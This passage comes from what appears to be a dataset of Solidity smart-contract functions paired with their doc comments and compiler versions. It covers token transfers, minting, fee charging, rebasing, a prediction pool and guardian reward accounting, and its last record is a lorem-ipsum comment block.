oldCheckPoint = checkpoints[checkpoints.length-1];\r\n oldCheckPoint.value = uint128(_value);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/** \r\n * @notice `msg.sender` transfers `_amount` to `_to` contract and then tokenFallback() function is triggered in the `_to` contract.\r\n * @param _to The address of the contract able to receive the tokens\r\n * @param _amount The amount of tokens to be transferred\r\n * @param _data The payload to be treated by `_to` contract in corresponding format\r\n * @return True if the function call was successful\r\n */", "function_code": "function transferAndCall(address _to, uint _amount, bytes _data) public returns (bool) {\r\n require(transfer(_to, _amount));\r\n\r\n emit Transfer(msg.sender, _to, _amount, _data);\r\n\r\n // call receiver\r\n if (isContract(_to)) {\r\n ERC677Receiver(_to).tokenFallback(msg.sender, _amount, _data);\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Sets the locks of an array of addresses.\r\n * @dev Must be called while minting (enableTransfers = false). Sizes of `_holder` and `_lockups` must be the same.\r\n * @param _holders The array of investor addresses\r\n * @param _lockups The array of timestamps until which corresponding address must be locked\r\n */", "function_code": "function setLocks(address[] _holders, uint256[] _lockups) public onlyController {\r\n require(_holders.length == _lockups.length);\r\n require(_holders.length < 256);\r\n require(transfersEnabled == false);\r\n\r\n for (uint8 i = 0; i < _holders.length; i++) {\r\n address holder = _holders[i];\r\n uint256 lockup = _lockups[i];\r\n\r\n // make sure lockup period can not be overwritten once set\r\n require(lockups[holder] == 0);\r\n\r\n lockups[holder] = lockup;\r\n\r\n emit LockedTokens(holder, lockup);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Finishes minting process and throws out the controller.\r\n * @dev Owner can not finish minting without setting up address for burning tokens.\r\n * @param _burnable The address to burn tokens from\r\n */", "function_code": "function finishMinting(address _burnable) public onlyController() {\r\n require(_burnable != address(0x0)); // burnable address must be set\r\n assert(totalSupply() <= maxSupply); // ensure hard cap\r\n enableTransfers(true); // turn-on transfers\r\n changeController(address(0x0)); // ensure no new tokens will be created\r\n burnable = _burnable; // set burnable address\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Burns `_amount` tokens from pre-defined \"burnable\" address.\r\n * @param _amount The amount of tokens to burn\r\n * @return True if the tokens are burned correctly\r\n */", "function_code": "function burn(uint256 _amount) public onlyOwner returns (bool) {\r\n require(burnable != address(0x0)); // burnable address must be set\r\n\r\n uint256 currTotalSupply = totalSupply();\r\n uint256 previousBalance = balanceOf(burnable);\r\n\r\n require(currTotalSupply >= _amount);\r\n require(previousBalance >= _amount);\r\n\r\n updateValueAtNow(totalSupplyHistory, currTotalSupply - _amount);\r\n updateValueAtNow(balances[burnable], previousBalance - _amount);\r\n\r\n emit Transfer(burnable, 0, _amount);\r\n \r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// View function to see pending CHKs on frontend.", "function_code": "function pendingChk(uint256 _pid, address _user) external view returns (uint256) {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][_user];\n uint256 accChkPerShare = pool.accChkPerShare;\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\n // console.log(\"lpSupply: \", lpSupply);\n // console.log(\"pool.lastRewardBlock: \", pool.lastRewardBlock);\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\n uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);\n // console.log(\"multiplier: \", multiplier );\n // console.log(\"chkPerBlock: \", chkPerBlock);\n // console.log(\"pool.allocPoint: \", pool.allocPoint);\n // console.log(\"totalAlloc: \", totalAllocPoint);\n uint256 chkReward = multiplier.mul(chkPerBlock.mul(pool.allocPoint).div(totalAllocPoint));\n // console.log(\"accChkPerShare: \", accChkPerShare);\n // console.log(\"chkReward: \", chkReward);\n accChkPerShare = accChkPerShare.add(chkReward.mul(1e18).div(lpSupply));\n // console.log(\"accChkPerShare: \", accChkPerShare);\n }\n return user.amount.mul(accChkPerShare).div(1e18).sub(user.rewardDebt);\n }", "version": "0.6.12"} {"comment": "// =================================== Constructor =============================================", "function_code": "function JubsICO ()public { \r\n //Address\r\n walletETH = 0x6eA3ec9339839924a520ff57a0B44211450A8910;\r\n icoWallet = 0x357ace6312BF8B519424cD3FfdBB9990634B8d3E;\r\n preIcoWallet = 0x7c54dC4F3328197AC89a53d4b8cDbE35a56656f7;\r\n teamWallet = 0x06BC5305016E9972F4cB3F6a3Ef2C734D417788a;\r\n bountyMktWallet = 0x6f67b977859deE77fE85cBCAD5b5bd5aD58bF068;\r\n arbitrationWallet = 0xdE9DE3267Cbd21cd64B40516fD2Aaeb5D77fb001;\r\n rewardsWallet = 0x232f7CaA500DCAd6598cAE4D90548a009dd49e6f;\r\n advisorsWallet = 0xA6B898B2Ab02C277Ae7242b244FB5FD55cAfB2B7;\r\n operationWallet = 0x96819778cC853488D3e37D630d94A337aBd527A8;\r\n\r\n //Distribution Token \r\n balances[icoWallet] = totalSupply.mul(63).div(100); //totalSupply * 63%\r\n balances[preIcoWallet] = totalSupply.mul(7).div(100); //totalSupply * 7%\r\n balances[teamWallet] = totalSupply.mul(10).div(100); //totalSupply * 10%\r\n balances[bountyMktWallet] = totalSupply.mul(7).div(100); //totalSupply * 7%\r\n balances[arbitrationWallet] = totalSupply.mul(5).div(100); //totalSupply * 5%\r\n balances[rewardsWallet] = totalSupply.mul(5).div(100); //totalSupply * 5%\r\n balances[advisorsWallet] = totalSupply.mul(2).div(100); //totalSupply * 2%\r\n balances[operationWallet] = totalSupply.mul(1).div(100); //totalSupply * 1% \r\n\r\n //set pause\r\n pause();\r\n\r\n //set token to sale\r\n totalTokenToSale = balances[icoWallet].add(balances[preIcoWallet]); \r\n }", "version": "0.4.19"} {"comment": "// if supply provided is 0, then default assigned", "function_code": "function svb(uint supply) {\r\n if (supply > 0) {\r\n totalSupply = supply;\r\n } else {\r\n totalSupply = totalSupplyDefault;\r\n }\r\n owner = msg.sender;\r\n demurringFeeOwner = owner;\r\n transferFeeOwner = owner;\r\n balances[this] = totalSupply;\r\n }", "version": "0.4.15"} {"comment": "// charge demurring fee for previuos period\n// fee is not applied to owners", "function_code": "function chargeDemurringFee(address addr) internal {\r\n if (addr != owner && addr != transferFeeOwner && addr != demurringFeeOwner && balances[addr] > 0 && now > timestamps[addr] + 60) {\r\n var mins = (now - timestamps[addr]) / 60;\r\n var fee = balances[addr] * mins * demurringFeeNum / demurringFeeDenum;\r\n if (fee < minFee) {\r\n fee = minFee;\r\n } else if (fee > balances[addr]) {\r\n fee = balances[addr];\r\n }\r\n\r\n balances[addr] -= fee;\r\n balances[demurringFeeOwner] += fee;\r\n Transfer(addr, demurringFeeOwner, fee);\r\n DemurringFee(addr, fee);\r\n\r\n timestamps[addr] = uint64(now);\r\n }\r\n }", "version": "0.4.15"} {"comment": "// fee is not applied to owners", "function_code": "function chargeTransferFee(address addr, uint amount) internal returns (uint) {\r\n if (addr != owner && addr != transferFeeOwner && addr != demurringFeeOwner && balances[addr] > 0) {\r\n var fee = amount * transferFeeNum / transferFeeDenum;\r\n if (fee < minFee) {\r\n fee = minFee;\r\n } else if (fee > balances[addr]) {\r\n fee = balances[addr];\r\n }\r\n amount = amount - fee;\r\n\r\n balances[addr] -= fee;\r\n balances[transferFeeOwner] += fee;\r\n Transfer(addr, transferFeeOwner, fee);\r\n TransferFee(addr, fee);\r\n }\r\n return amount;\r\n }", "version": "0.4.15"} {"comment": "/**\n * @dev Notifies Fragments contract about a new rebase cycle.\n * @param supplyDelta The number of new fragment tokens to add into circulation via expansion.\n * @return The total number of fragments after the supply adjustment.\n */", "function_code": "function rebase(uint256 epoch_, int256 supplyDelta)\n external\n onlyOwner\n returns (uint256)\n {\n\n // console.log(symbol(), \": starting total supply \", epoch, _totalSupply.div(10**18));\n // console.log(\"gonsPerFragment: \", epoch, _gonsPerFragment);\n\n epoch = epoch_;\n\n if (supplyDelta == 0) {\n emit LogRebase(epoch, _totalSupply);\n return _totalSupply;\n }\n\n if (supplyDelta < 0) {\n // console.log(symbol(), \": supply delta / _totalSupply -\", uint256(supplyDelta.abs()), _totalSupply);\n _totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));\n } else {\n // console.log(symbol(), \": supply delta +\", uint256(supplyDelta.abs()));\n _totalSupply = _totalSupply.add(uint256(supplyDelta));\n }\n\n if (_totalSupply > MAX_SUPPLY) {\n _totalSupply = MAX_SUPPLY;\n }\n\n if (_totalSupply > 0) {\n _gonsPerFragment = _totalGons.div(_totalSupply);\n\n if (_gonsPerFragment == 0) {\n _gonsPerFragment = 10**24; //TODO: is this right?\n }\n } else if (_totalGons > 0) {\n _currentBalances++;\n _gonsPerFragment = 10**24;\n _totalGons = 0;\n }\n\n emit LogRebase(epoch, _totalSupply);\n return _totalSupply;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Transfer tokens to a specified address.\n * @param to The address to transfer to.\n * @param value The amount to be transferred.\n * @return True on success, false otherwise.\n */", "function_code": "function transfer(address to, uint256 value)\n public\n override\n validRecipient(to)\n returns (bool)\n {\n uint256 gonValue = value.mul(_gonsPerFragment);\n _gonBalances[_currentBalances][msg.sender] = _gonBalances[_currentBalances][msg.sender].sub(gonValue);\n _gonBalances[_currentBalances][to] = _gonBalances[_currentBalances][to].add(gonValue);\n emit Transfer(msg.sender, to, value);\n // console.log(\"transfer\", symbol(), msg.sender);\n // console.log(to, value.div(10**18));\n return true;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Decrease the amount of tokens that an owner has allowed to a spender.\n *\n * @param spender The address which will spend the funds.\n * @param subtractedValue The amount of tokens to decrease the allowance by.\n */", "function_code": "function decreaseAllowance(address spender, uint256 subtractedValue)\n public\n returns (bool)\n {\n uint256 oldValue = _allowedFragments[msg.sender][spender];\n if (subtractedValue >= oldValue) {\n _allowedFragments[msg.sender][spender] = 0;\n } else {\n _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);\n }\n emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);\n return true;\n }", "version": "0.6.12"} {"comment": "// following the pattern of uniswap so there can be a pool factory", "function_code": "function initialize(\n address owner_,\n address payoutToken_,\n uint256 epochLength_,\n uint8 multiplier_,\n address oracle_,\n address underlying_\n ) public isOwner {\n owner = owner_;\n payoutToken = IERC20(payoutToken_);\n oracle = IPriceOracleGetter(oracle_);\n epochStart = block.number;\n epochLength = epochLength_;\n multiplier = multiplier_;\n underlying = IERC20(underlying_);\n epochStartPrice = oracle.getAssetPrice(underlying_);\n createUpAndDown();\n }", "version": "0.6.12"} {"comment": "/**\n calculate the percent change defined as an 18 precision decimal (1e18 is 100%)\n */", "function_code": "function percentChangeMax100(uint256 diff, uint256 base)\n internal\n view\n returns (uint256)\n {\n if (base == 0) {\n return 0; // ignore zero price\n }\n uint256 percent = (diff * 10**18).mul(10**18).div(base.mul(10**18)).mul(uint256(multiplier));\n if (percent >= 10**18) {\n percent = uint256(10**18).sub(1);\n }\n return percent;\n }", "version": "0.6.12"} {"comment": "// TODO: this provides an arbitrage opportunity to withdraw\n// before the end of a period. This should be a lockup.", "function_code": "function liquidate() public checkEpoch {\n // TODO: only allow this after the lockout period\n\n address user_ = msg.sender;\n uint256 upBal = up.balanceOf(user_);\n uint256 downBal = down.balanceOf(user_);\n\n up.liquidate(address(user_));\n down.liquidate(address(user_));\n\n upsLiquidated += upBal;\n downsLiquidated += downBal;\n // console.log(\n // \"liquidating (ups/downs): \",\n // upBal.div(10**18),\n // downBal.div(10**18)\n // );\n uint256 totalPayout = upBal.add(downBal).div(200);\n // console.log(\n // \"liquidate payout to \",\n // msg.sender,\n // totalPayout.div(10**18)\n // );\n\n uint256 fee = totalPayout.div(1000); // 10 basis points fee\n uint256 toUser = totalPayout.sub(fee);\n require(payoutToken.transfer(user_, toUser));\n uint poolBal = payoutToken.balanceOf(address(this));\n if (fee > poolBal) {\n payoutToken.transfer(owner, poolBal);\n return;\n }\n require(payoutToken.transfer(owner, fee));\n }", "version": "0.6.12"} {"comment": "/// Returns an estimation of the fees and bootstrap a guardian will be entitled to for a duration of time\n/// The estimation is based on the current system state and there for only provides an estimation\n/// @param guardian is the guardian address\n/// @param duration is the amount of time in seconds for which the estimation is calculated\n/// @return estimatedFees is the estimated received fees for the duration\n/// @return estimatedBootstrapRewards is the estimated received bootstrap for the duration", "function_code": "function estimateFutureFeesAndBootstrapRewards(address guardian, uint256 duration) external override view returns (uint256 estimatedFees, uint256 estimatedBootstrapRewards) {\r\n (FeesAndBootstrap memory guardianFeesAndBootstrapNow,) = getGuardianFeesAndBootstrap(guardian, block.timestamp);\r\n (FeesAndBootstrap memory guardianFeesAndBootstrapFuture,) = getGuardianFeesAndBootstrap(guardian, block.timestamp.add(duration));\r\n estimatedFees = guardianFeesAndBootstrapFuture.feeBalance.sub(guardianFeesAndBootstrapNow.feeBalance);\r\n estimatedBootstrapRewards = guardianFeesAndBootstrapFuture.bootstrapBalance.sub(guardianFeesAndBootstrapNow.bootstrapBalance);\r\n }", "version": "0.6.12"} {"comment": "/// Transfers the guardian Fees balance to their account\n/// @dev One may withdraw for another guardian\n/// @param guardian is the guardian address", "function_code": "function withdrawFees(address guardian) external override onlyWhenActive {\r\n updateGuardianFeesAndBootstrap(guardian);\r\n\r\n uint256 amount = feesAndBootstrap[guardian].feeBalance;\r\n feesAndBootstrap[guardian].feeBalance = 0;\r\n uint96 withdrawnFees = feesAndBootstrap[guardian].withdrawnFees.add(amount);\r\n feesAndBootstrap[guardian].withdrawnFees = withdrawnFees;\r\n\r\n emit FeesWithdrawn(guardian, amount, withdrawnFees);\r\n require(feesToken.transfer(guardian, amount), \"Rewards::withdrawFees - insufficient funds\");\r\n }", "version": "0.6.12"} {"comment": "/// Returns the current global Fees and Bootstrap rewards state \n/// @dev calculated to the latest block, may differ from the state read\n/// @return certifiedFeesPerMember represents the fees a certified committee member from day 0 would have receive\n/// @return generalFeesPerMember represents the fees a non-certified committee member from day 0 would have receive\n/// @return certifiedBootstrapPerMember represents the bootstrap fund a certified committee member from day 0 would have receive\n/// @return generalBootstrapPerMember represents the bootstrap fund a non-certified committee member from day 0 would have receive\n/// @return lastAssigned is the time the calculation was done to (typically the latest block time)", "function_code": "function getFeesAndBootstrapState() external override view returns (\r\n uint256 certifiedFeesPerMember,\r\n uint256 generalFeesPerMember,\r\n uint256 certifiedBootstrapPerMember,\r\n uint256 generalBootstrapPerMember,\r\n uint256 lastAssigned\r\n ) {\r\n (uint generalCommitteeSize, uint certifiedCommitteeSize, ) = committeeContract.getCommitteeStats();\r\n (FeesAndBootstrapState memory _feesAndBootstrapState,,) = _getFeesAndBootstrapState(generalCommitteeSize, certifiedCommitteeSize, generalFeesWallet.getOutstandingFees(block.timestamp), certifiedFeesWallet.getOutstandingFees(block.timestamp), block.timestamp, settings);\r\n certifiedFeesPerMember = _feesAndBootstrapState.certifiedFeesPerMember;\r\n generalFeesPerMember = _feesAndBootstrapState.generalFeesPerMember;\r\n certifiedBootstrapPerMember = _feesAndBootstrapState.certifiedBootstrapPerMember;\r\n generalBootstrapPerMember = _feesAndBootstrapState.generalBootstrapPerMember;\r\n lastAssigned = _feesAndBootstrapState.lastAssigned;\r\n }", "version": "0.6.12"} {"comment": "/// Returns the current guardian Fees and Bootstrap rewards state \n/// @dev calculated to the latest block, may differ from the state read\n/// @return feeBalance is the guardian fees balance \n/// @return lastFeesPerMember is the FeesPerMember on the last update based on the guardian certification state\n/// @return bootstrapBalance is the guardian bootstrap balance \n/// @return lastBootstrapPerMember is the FeesPerMember on the last BootstrapPerMember based on the guardian certification state", "function_code": "function getFeesAndBootstrapData(address guardian) external override view returns (\r\n uint256 feeBalance,\r\n uint256 lastFeesPerMember,\r\n uint256 bootstrapBalance,\r\n uint256 lastBootstrapPerMember,\r\n uint256 withdrawnFees,\r\n uint256 withdrawnBootstrap,\r\n bool certified\r\n ) {\r\n FeesAndBootstrap memory guardianFeesAndBootstrap;\r\n (guardianFeesAndBootstrap, certified) = getGuardianFeesAndBootstrap(guardian, block.timestamp);\r\n return (\r\n guardianFeesAndBootstrap.feeBalance,\r\n guardianFeesAndBootstrap.lastFeesPerMember,\r\n guardianFeesAndBootstrap.bootstrapBalance,\r\n guardianFeesAndBootstrap.lastBootstrapPerMember,\r\n guardianFeesAndBootstrap.withdrawnFees,\r\n guardianFeesAndBootstrap.withdrawnBootstrap,\r\n certified\r\n );\r\n }", "version": "0.6.12"} {"comment": "/// Migrates the rewards balance to a new FeesAndBootstrap contract\n/// @dev The new rewards contract is determined according to the contracts registry\n/// @dev No impact of the calling contract if the currently configured contract in the registry\n/// @dev may be called also while the contract is locked\n/// @param guardians is the list of guardians to migrate", "function_code": "function migrateRewardsBalance(address[] calldata guardians) external override {\r\n require(!settings.rewardAllocationActive, \"Reward distribution must be deactivated for migration\");\r\n\r\n IFeesAndBootstrapRewards currentRewardsContract = IFeesAndBootstrapRewards(getFeesAndBootstrapRewardsContract());\r\n require(address(currentRewardsContract) != address(this), \"New rewards contract is not set\");\r\n\r\n uint256 totalFees = 0;\r\n uint256 totalBootstrap = 0;\r\n uint256[] memory fees = new uint256[](guardians.length);\r\n uint256[] memory bootstrap = new uint256[](guardians.length);\r\n\r\n for (uint i = 0; i < guardians.length; i++) {\r\n updateGuardianFeesAndBootstrap(guardians[i]);\r\n\r\n FeesAndBootstrap memory guardianFeesAndBootstrap = feesAndBootstrap[guardians[i]];\r\n fees[i] = guardianFeesAndBootstrap.feeBalance;\r\n totalFees = totalFees.add(fees[i]);\r\n bootstrap[i] = guardianFeesAndBootstrap.bootstrapBalance;\r\n totalBootstrap = totalBootstrap.add(bootstrap[i]);\r\n\r\n guardianFeesAndBootstrap.feeBalance = 0;\r\n guardianFeesAndBootstrap.bootstrapBalance = 0;\r\n feesAndBootstrap[guardians[i]] = guardianFeesAndBootstrap;\r\n }\r\n\r\n require(feesToken.approve(address(currentRewardsContract), totalFees), \"migrateRewardsBalance: approve failed\");\r\n require(bootstrapToken.approve(address(currentRewardsContract), totalBootstrap), \"migrateRewardsBalance: approve failed\");\r\n currentRewardsContract.acceptRewardsBalanceMigration(guardians, fees, totalFees, bootstrap, totalBootstrap);\r\n\r\n for (uint i = 0; i < guardians.length; i++) {\r\n emit FeesAndBootstrapRewardsBalanceMigrated(guardians[i], fees[i], bootstrap[i], address(currentRewardsContract));\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// Accepts guardian's balance migration from a previous rewards contract\n/// @dev the function may be called by any caller that approves the amounts provided for transfer\n/// @param guardians is the list of migrated guardians\n/// @param fees is the list of received guardian fees balance\n/// @param totalFees is the total amount of fees migrated for all guardians in the list. Must match the sum of the fees list.\n/// @param bootstrap is the list of received guardian bootstrap balance.\n/// @param totalBootstrap is the total amount of bootstrap rewards migrated for all guardians in the list. Must match the sum of the bootstrap list.", "function_code": "function acceptRewardsBalanceMigration(address[] memory guardians, uint256[] memory fees, uint256 totalFees, uint256[] memory bootstrap, uint256 totalBootstrap) external override {\r\n uint256 _totalFees = 0;\r\n uint256 _totalBootstrap = 0;\r\n\r\n for (uint i = 0; i < guardians.length; i++) {\r\n _totalFees = _totalFees.add(fees[i]);\r\n _totalBootstrap = _totalBootstrap.add(bootstrap[i]);\r\n }\r\n\r\n require(totalFees == _totalFees, \"totalFees does not match fees sum\");\r\n require(totalBootstrap == _totalBootstrap, \"totalBootstrap does not match bootstrap sum\");\r\n\r\n if (totalFees > 0) {\r\n require(feesToken.transferFrom(msg.sender, address(this), totalFees), \"acceptRewardBalanceMigration: transfer failed\");\r\n }\r\n if (totalBootstrap > 0) {\r\n require(bootstrapToken.transferFrom(msg.sender, address(this), totalBootstrap), \"acceptRewardBalanceMigration: transfer failed\");\r\n }\r\n\r\n FeesAndBootstrap memory guardianFeesAndBootstrap;\r\n for (uint i = 0; i < guardians.length; i++) {\r\n guardianFeesAndBootstrap = feesAndBootstrap[guardians[i]];\r\n guardianFeesAndBootstrap.feeBalance = guardianFeesAndBootstrap.feeBalance.add(fees[i]);\r\n guardianFeesAndBootstrap.bootstrapBalance = guardianFeesAndBootstrap.bootstrapBalance.add(bootstrap[i]);\r\n feesAndBootstrap[guardians[i]] = guardianFeesAndBootstrap;\r\n\r\n emit FeesAndBootstrapRewardsBalanceMigrationAccepted(msg.sender, guardians[i], fees[i], bootstrap[i]);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// Returns the current global Fees and Bootstrap rewards state \n/// @dev receives the relevant committee and general state data\n/// @param generalCommitteeSize is the current number of members in the certified committee\n/// @param certifiedCommitteeSize is the current number of members in the general committee\n/// @param collectedGeneralFees is the amount of fees collected from general virtual chains for the calculated period\n/// @param collectedCertifiedFees is the amount of fees collected from general virtual chains for the calculated period\n/// @param currentTime is the time to calculate the fees and bootstrap for\n/// @param _settings is the contract settings", "function_code": "function _getFeesAndBootstrapState(uint generalCommitteeSize, uint certifiedCommitteeSize, uint256 collectedGeneralFees, uint256 collectedCertifiedFees, uint256 currentTime, Settings memory _settings) private view returns (FeesAndBootstrapState memory _feesAndBootstrapState, uint256 allocatedGeneralBootstrap, uint256 allocatedCertifiedBootstrap) {\r\n _feesAndBootstrapState = feesAndBootstrapState;\r\n\r\n if (_settings.rewardAllocationActive) {\r\n uint256 generalFeesDelta = generalCommitteeSize == 0 ? 0 : collectedGeneralFees.div(generalCommitteeSize);\r\n uint256 certifiedFeesDelta = certifiedCommitteeSize == 0 ? 0 : generalFeesDelta.add(collectedCertifiedFees.div(certifiedCommitteeSize));\r\n\r\n _feesAndBootstrapState.generalFeesPerMember = _feesAndBootstrapState.generalFeesPerMember.add(generalFeesDelta);\r\n _feesAndBootstrapState.certifiedFeesPerMember = _feesAndBootstrapState.certifiedFeesPerMember.add(certifiedFeesDelta);\r\n\r\n uint duration = currentTime.sub(_feesAndBootstrapState.lastAssigned);\r\n uint256 generalBootstrapDelta = uint256(_settings.generalCommitteeAnnualBootstrap).mul(duration).div(365 days);\r\n uint256 certifiedBootstrapDelta = generalBootstrapDelta.add(uint256(_settings.certifiedCommitteeAnnualBootstrap).mul(duration).div(365 days));\r\n\r\n _feesAndBootstrapState.generalBootstrapPerMember = _feesAndBootstrapState.generalBootstrapPerMember.add(generalBootstrapDelta);\r\n _feesAndBootstrapState.certifiedBootstrapPerMember = _feesAndBootstrapState.certifiedBootstrapPerMember.add(certifiedBootstrapDelta);\r\n _feesAndBootstrapState.lastAssigned = uint32(currentTime);\r\n\r\n allocatedGeneralBootstrap = generalBootstrapDelta.mul(generalCommitteeSize);\r\n allocatedCertifiedBootstrap = certifiedBootstrapDelta.mul(certifiedCommitteeSize);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// Updates the global Fees and Bootstrap rewards state\n/// @dev utilizes _getFeesAndBootstrapState to calculate the global state \n/// @param generalCommitteeSize is the current number of members in the certified committee\n/// @param certifiedCommitteeSize is the current number of members in the general committee\n/// @return _feesAndBootstrapState is a FeesAndBootstrapState struct with the updated state", "function_code": "function _updateFeesAndBootstrapState(uint generalCommitteeSize, uint certifiedCommitteeSize) private returns (FeesAndBootstrapState memory _feesAndBootstrapState) {\r\n Settings memory _settings = settings;\r\n if (!_settings.rewardAllocationActive) {\r\n return feesAndBootstrapState;\r\n }\r\n\r\n uint256 collectedGeneralFees = generalFeesWallet.collectFees();\r\n uint256 collectedCertifiedFees = certifiedFeesWallet.collectFees();\r\n uint256 allocatedGeneralBootstrap;\r\n uint256 allocatedCertifiedBootstrap;\r\n\r\n (_feesAndBootstrapState, allocatedGeneralBootstrap, allocatedCertifiedBootstrap) = _getFeesAndBootstrapState(generalCommitteeSize, certifiedCommitteeSize, collectedGeneralFees, collectedCertifiedFees, block.timestamp, _settings);\r\n bootstrapRewardsWallet.withdraw(allocatedGeneralBootstrap.add(allocatedCertifiedBootstrap));\r\n\r\n feesAndBootstrapState = _feesAndBootstrapState;\r\n\r\n emit FeesAllocated(collectedGeneralFees, _feesAndBootstrapState.generalFeesPerMember, collectedCertifiedFees, _feesAndBootstrapState.certifiedFeesPerMember);\r\n emit BootstrapRewardsAllocated(allocatedGeneralBootstrap, _feesAndBootstrapState.generalBootstrapPerMember, allocatedCertifiedBootstrap, _feesAndBootstrapState.certifiedBootstrapPerMember);\r\n }", "version": "0.6.12"} {"comment": "/// Returns the current guardian Fees and Bootstrap rewards state \n/// @dev receives the relevant guardian committee membership data and the global state\n/// @param guardian is the guardian to query\n/// @param inCommittee indicates whether the guardian is currently in the committee\n/// @param isCertified indicates whether the guardian is currently certified\n/// @param nextCertification indicates whether after the change, the guardian is certified\n/// @param _feesAndBootstrapState is the current updated global fees and bootstrap state\n/// @return guardianFeesAndBootstrap is a struct with the guardian updated fees and bootstrap state\n/// @return addedBootstrapAmount is the amount added to the guardian bootstrap balance\n/// @return addedFeesAmount is the amount added to the guardian fees balance", "function_code": "function _getGuardianFeesAndBootstrap(address guardian, bool inCommittee, bool isCertified, bool nextCertification, FeesAndBootstrapState memory _feesAndBootstrapState) private view returns (FeesAndBootstrap memory guardianFeesAndBootstrap, uint256 addedBootstrapAmount, uint256 addedFeesAmount) {\r\n guardianFeesAndBootstrap = feesAndBootstrap[guardian];\r\n\r\n if (inCommittee) {\r\n addedBootstrapAmount = (isCertified ? _feesAndBootstrapState.certifiedBootstrapPerMember : _feesAndBootstrapState.generalBootstrapPerMember).sub(guardianFeesAndBootstrap.lastBootstrapPerMember);\r\n guardianFeesAndBootstrap.bootstrapBalance = guardianFeesAndBootstrap.bootstrapBalance.add(addedBootstrapAmount);\r\n\r\n addedFeesAmount = (isCertified ? _feesAndBootstrapState.certifiedFeesPerMember : _feesAndBootstrapState.generalFeesPerMember).sub(guardianFeesAndBootstrap.lastFeesPerMember);\r\n guardianFeesAndBootstrap.feeBalance = guardianFeesAndBootstrap.feeBalance.add(addedFeesAmount);\r\n }\r\n\r\n guardianFeesAndBootstrap.lastBootstrapPerMember = nextCertification ? _feesAndBootstrapState.certifiedBootstrapPerMember : _feesAndBootstrapState.generalBootstrapPerMember;\r\n guardianFeesAndBootstrap.lastFeesPerMember = nextCertification ? _feesAndBootstrapState.certifiedFeesPerMember : _feesAndBootstrapState.generalFeesPerMember;\r\n }", "version": "0.6.12"} {"comment": "/// Updates a guardian Fees and Bootstrap rewards state\n/// @dev receives the relevant guardian committee membership data\n/// @dev updates the global Fees and Bootstrap state prior to calculating the guardian's\n/// @dev utilizes _getGuardianFeesAndBootstrap\n/// @param guardian is the guardian to update\n/// @param inCommittee indicates whether the guardian is currently in the committee\n/// @param isCertified indicates whether the guardian is currently certified\n/// @param nextCertification indicates whether after the change, the guardian is certified\n/// @param generalCommitteeSize indicates the general committee size prior to the change\n/// @param certifiedCommitteeSize indicates the certified committee size prior to the change", "function_code": "function _updateGuardianFeesAndBootstrap(address guardian, bool inCommittee, bool isCertified, bool nextCertification, uint generalCommitteeSize, uint certifiedCommitteeSize) private {\r\n uint256 addedBootstrapAmount;\r\n uint256 addedFeesAmount;\r\n\r\n FeesAndBootstrapState memory _feesAndBootstrapState = _updateFeesAndBootstrapState(generalCommitteeSize, certifiedCommitteeSize);\r\n FeesAndBootstrap memory guardianFeesAndBootstrap;\r\n (guardianFeesAndBootstrap, addedBootstrapAmount, addedFeesAmount) = _getGuardianFeesAndBootstrap(guardian, inCommittee, isCertified, nextCertification, _feesAndBootstrapState);\r\n feesAndBootstrap[guardian] = guardianFeesAndBootstrap;\r\n\r\n emit BootstrapRewardsAssigned(guardian, addedBootstrapAmount, guardianFeesAndBootstrap.withdrawnBootstrap.add(guardianFeesAndBootstrap.bootstrapBalance), isCertified, guardianFeesAndBootstrap.lastBootstrapPerMember);\r\n emit FeesAssigned(guardian, addedFeesAmount, guardianFeesAndBootstrap.withdrawnFees.add(guardianFeesAndBootstrap.feeBalance), isCertified, guardianFeesAndBootstrap.lastFeesPerMember);\r\n }", "version": "0.6.12"} {"comment": "/// Returns the guardian Fees and Bootstrap rewards state for a given time\n/// @dev if the time to estimate is in the future, estimates the fees and rewards for the given time\n/// @dev for future time estimation assumes no change in the guardian committee membership and certification\n/// @param guardian is the guardian to query\n/// @param currentTime is the time to calculate the fees and bootstrap for\n/// @return guardianFeesAndBootstrap is a struct with the guardian updated fees and bootstrap state\n/// @return certified is the guardian certification status", "function_code": "function getGuardianFeesAndBootstrap(address guardian, uint256 currentTime) private view returns (FeesAndBootstrap memory guardianFeesAndBootstrap, bool certified) {\r\n ICommittee _committeeContract = committeeContract;\r\n (uint generalCommitteeSize, uint certifiedCommitteeSize, ) = _committeeContract.getCommitteeStats();\r\n (FeesAndBootstrapState memory _feesAndBootstrapState,,) = _getFeesAndBootstrapState(generalCommitteeSize, certifiedCommitteeSize, generalFeesWallet.getOutstandingFees(currentTime), certifiedFeesWallet.getOutstandingFees(currentTime), currentTime, settings);\r\n bool inCommittee;\r\n (inCommittee, , certified,) = _committeeContract.getMemberInfo(guardian);\r\n (guardianFeesAndBootstrap, ,) = _getGuardianFeesAndBootstrap(guardian, inCommittee, certified, certified, _feesAndBootstrapState);\r\n }", "version": "0.6.12"} {"comment": "/*\r\n Vivamus egestas neque eget ultrices hendrerit.\r\n Donec elementum odio nec ex malesuada cursus.\r\n Curabitur condimentum ante id ipsum porta ullamcorper.\r\n Vivamus ut est elementum, interdum eros vitae, laoreet neque.\r\n Pellentesque elementum risus tincidunt erat viverra hendrerit.\r\n Donec nec velit ut lectus fringilla lacinia.\r\n Donec laoreet enim at diam blandit tincidunt.\r\n Aenean sollicitudin sem vitae dui sollicitudin finibus.\r\n Donec vitae massa varius erat cursus commodo nec a lectus.\r\n \r\n Vivamus egestas neque eget ultrices hendrerit.\r\n Donec elementum odio nec ex malesuada cursus.\r\n Curabitur condimentum ante id ipsum porta ullamcorper.\r\n Vivamus ut est elementum, interdum 